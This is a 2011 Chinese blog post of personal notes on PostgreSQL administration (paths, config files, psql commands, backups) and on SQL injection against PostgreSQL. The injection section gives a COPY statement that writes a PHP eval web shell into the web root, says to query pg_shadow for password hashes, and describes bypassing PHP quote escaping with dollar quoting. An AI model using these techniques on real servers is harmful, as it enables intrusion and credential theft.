Author:LengF PostTime:2011-08-17
相信大家平时关注最多的是Mysql和MSSQL,当然了Oracle也已经备受关注。但是一些比较[少见]的数据库,比如DB2,Postgresql,Sybase ASE,Informix。如果不知道这些数据库的特性就没办法谈注入和管理了。那么本文只是个人学习笔记的一部分,因为碰到了Postgresql了所以就认真看了官方相关文档及一些网络文档。实践并总结了这些分享与大家。本文只描述在Linux平台的postgresql
1.Postgresql概述 Postgresq是从Berkeley的Postgres 项目衍生出的RDBMS,早期版本是4.2和postgresql 95,新版本替换了查询语言为SQL(原本是PostQUEL),并增加了一个交互式的psql。本次测试平台是postgresql8.4+ubuntu 10.04上。 基本信息: (1)一般默认安装路径 /usr/local/pgsql /var/lib/pgsql /usr/lib/postgresql/8.4 # 这是我ubuntu下的默认路径 /usr/syno/pgsql/ # synolog NAS的默认路径 如果不知道安装在那里可以通过下面命令:(同样也可以用find命令) whereis postgresql 返回:
postgresql: /etc/postgresql /usr/lib/postgresql /usr/share/postgresql
找到默认路径是为了防止一些Linux系统(我碰到)没有将psql这个命令关联的到用户环境变量中。因为我们管理需要用到这个交互式的psql 默认端口为5432,默认情况是没有启用网络的,要开启必须设置tcpip_socket为true,设置listen_address参数。可以采用SSL通信。 (2)权限问题 postgresql在Linux下是不允许以root用户登录和运行的(处于安全考虑)。一般默认在安装过程会创建一个用户postgres的用户,这个用户权限比较低。说到权限问题必须说到几个关键的术语:前端(客户机)、postmaster和后端,必须分清楚,postmaster和后端是不同的,尽管可能用相同的程序实现。前端首先和postmaster通信,指定他要连接数据库,postmaster会验证访问是否得到允许,一旦前端通过身份认证,postmaster会生成一个后端 进程将连接移交过去。随后查询和结果将在前端和后端之间发生。postmaster不再参与。 (3)文件目录 这里只列出安全相关的文件,包括配置文件和数据库本身存放data目录,这些目录值有时候会被赋给$PGDATA的环境变量,所以有时候你找到数据和配置文件放在那里可以尝试执行命令:
echo $PGDATA
本次我测试的没有这个环境变量,因为我没有数据库和配置信息。下面列出重要几个文件 /data/pg_hda.conf # 允许和拒绝访问数据的记录,包括认证方法 /data/postmaster.conf #postmaster的配置 /data/pg_ident.conf # 数据库用户和系统用户映射信息 /data/PG_VERSION # 版本信息 /global/pg_database # 数据库名和路径的映射关系 默认的数据库名有: "template1" "template0" "postgres" /global/pg_group # 用户组 /global/pg_pwd # 用户名 /global/pg_shadow # 用户密码
不同环境下目录有存在差异,需要自己查找灵活变通。 2.简单的管理 首先你不能通过root账户管理,必须切换到一个运行postgresql最高或者低于这个权限用户(当然要有映射关系),常见用户是postgres和admin,使用命令:
su -l postgres
然后执行:
/usr/lib/postgresql/8.4/bin/psql 数据库|为空
如果后面跟一个存在的数据就表示管理该数据库,如果没有就是和用户名一样的数据库名。常用命令如下:
\copyright # 版本 \h # 命令帮助,和help一样 \? # 查看psql命令 \q # 退出当前管理
进入后输入\? 查看psql帮助,如下:
\e [FILE] # 利用外部编辑器编辑缓冲区的文件或者sql \f [FUNCNAME] # 函数编辑 \p # 显示查询缓冲区 \r # 清楚查询缓冲区 \s [FILE] # 显示历史或者保存到文件 \w FILE # 将查询写入文件 \copy ... perform SQL COPY with data stream to the client host \echo [STRING] write string to standard output \i FILE # 从文件执行命令 \o [FILE] # 发送所有查询结果到文件
在数据库经常使用命令如下:
\l # 列出当前数据库所有的数据库名 \c 数据库 # 连接数据库 \dt # 显示所有表名 \d 表名 # 显示表名
其他SQL语句和其他数据库类似我就不赘述了。 3.导出和导入数据库 导出数据库:
pg_dump database >/home/LengF/pgbackup/database.bak # 指定数据库备份 pg_dumpall >/home/LengF/pgbackup/all.bak # 备份所有数据库 pg_dump database|split -b 500 >/home/LengF/pgbackup/database.bak # 备份并以500kb分割备份文件
导入数据库:
createdb lengf; psql < 备份文件路径;
基本管理就说了这些。 3.Postgresql注入特性 [1]注入SQL语法基本和其他基本一样 [2]支持/*、/**/、–注释,;和\g表示语句结束,连接字符串用||(类似于mssql中的+) [3]内置函数:current_database(),session_user,current_user [4]不要忘记查询下pg_user、pg_group、pg_shadow,还有上面的pg_database [5]写文件可以和其他数据库一样,但是你还记得我上面的copy命令?
copy (select ‘<?php eval($_POST[a]);?>’) to ‘/var/www/lf.php’
[6]照样可以读文件pg_read_file函数,不过一般比较鸡肋,不推荐 [7]常见架构是PHP+Postgresql,所以我们必须考虑GPC,但是不要怕,我们可以把需要用到单引号的地方换成$即可成功绕过了。 另外推荐一篇SQL注入整理: http://HdhCmsTest2cto测试数据/Article/201108/100716.html 4.总结 本文重点在于描述postgresql的安全特性,注重于利用。具体还需要大家自行实验和练习。那么掌握了这个 数据库 ,其他数据库你是不是也可以一通百通?扯淡结束。 参考文档: [1]http://wenku.baidu测试数据/view/2fc0252c7375a417866f8ffd. html
查看更多关于postgresql注入和管理小记 - 网站安全 - 自学php的详细内容...